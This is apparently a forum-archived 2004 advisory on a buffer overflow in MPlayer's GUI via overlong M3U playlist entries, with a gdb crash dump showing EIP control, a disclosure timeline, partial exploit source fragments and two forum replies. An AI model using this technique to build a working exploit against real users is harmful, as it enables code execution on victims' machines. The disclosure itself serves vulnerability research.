MPlayer is a movie player for Linux (runs on many other Unices, and non-x86 CPUs, see Ports). It plays most MPEG, VOB, AVI, OGG/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, FLI, RM, NuppelVideo, yuv4mpeg, FILM, RoQ, PVA, Matroska files, supported by many native, XAnim, RealPlayer, and Win32 DLL codecs. You can watch VideoCD, SVCD, DVD, 3ivx, RealMedia, Sorenson, Theora, and DivX movies too.
All versions of MPlayer, including the latest [MPlayer-1.0pre4] when compiled with GUI support are vulnerable to a buffer overflow attack that will provide hostile code execution.
The MPlayer source requires explicit setting to enable the GUI, though support is enabled on a multitude of default systems / setups, those I tested are below:
Tested OS: Redhat Linux with Gnome FreeBSD and latest cvsup + ports with Gnome
Attack choices: 1. Create my own fake HTTP listener and inject the phoney name. (Static)(POC) 2. Build my own MPEG / MP3 or other static media file and header information. (Mobile) 3. Create a media file that references another file by name. (Mobile)
Found in network.c is the following table of demux types:
of which m3u & pls playlists were used. MPlayer does not restrict the length of links for M3U playlist entries, which is a nice feature. - .pls in the end turned out to be useless for me though. I have not checked the other muxors, maybe with tricks like creating a large ID3 itag for mpg and the likes will be interesting...
[c0ntex_at_exploited MemPlayer-1.0pre4] mv test h0t_ladies.m3u
In my .m3u file, I embed 4 entries, the first three please the user with selected fine music from the Open-Security MP3 archive, the 4th will crash MPlayer by placing the address 0x41414141 in EIP.
Using GNU internationalization Original domain: messages Original dirname: /usr/share/locale Current domain: mplayer Current dirname: /usr/local/share/locale
[c0ntex_at_exploited MPlayer-1.0pre4]$ gdb ./gmplayer ./core.* (gdb) i r eip esp eip 0x41414141 0x41414141 esp 0xbfffc800 0xbfffc800 (gdb) i r eax 0x84a3640 139081280 ecx 0x42006f24 1107324708 edx 0xff000000 -16777216 ebx 0x41414141 1094795585 esp 0xbfffc800 0xbfffc800 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x41414141 0x41414141 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) bt #0 0x41414141 in ?? () Cannot access memory at address 0x41414141 (gdb) x/x 0xbfffc800 0xbfffc800: 0x41414141 <--- A represents our payload. (gdb)
Worked a treat.
---
MPlayer bug discovered 28th May 2004 MPlayer bug research completed 29th May 2004 MPlayer developers contacted 1st June 2004 MPlayer bug public release 28th June 2004
No feedback at all from MPlayer team about this though I did find a post on their newsgroup:
#define example(OhNoo) fprintf(stderr, "Usage: ./memplayer -a <align_val> -o <offset_val>\n\n", OhNoo); #define looking(OhYes) fprintf(stderr, "I'm looking for projects to work on, mail me if you have something\n\n", OhYes);
unsigned int i; char payload[BUFFER];
void banner(void); void die(char *ohnn);
int pkg_prep(int clisock_fd, int align, int offset); int pkg_send(int clisock_fd, char *payload); int main(int argc, char **argv);
is a pretty nice exploit, but how could it be remote?? the remote attacker would need the user to open up an infected song.... kinda like saying "Here, open this trojan"
Schmiel
Jul 8 2004, 03:26 PM
QUOTE (tweakz20 @ Jun 29 2004, 03:09 PM)
CODE
3: Bug Impact Rate: Medium / Hi
is a pretty nice exploit, but how could it be remote?? the remote attacker would need the user to open up an infected song.... kinda like saying "Here, open this trojan"
Exactly, that sucks, nobody on a linuxb0x would open an unknown file. quite useless
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.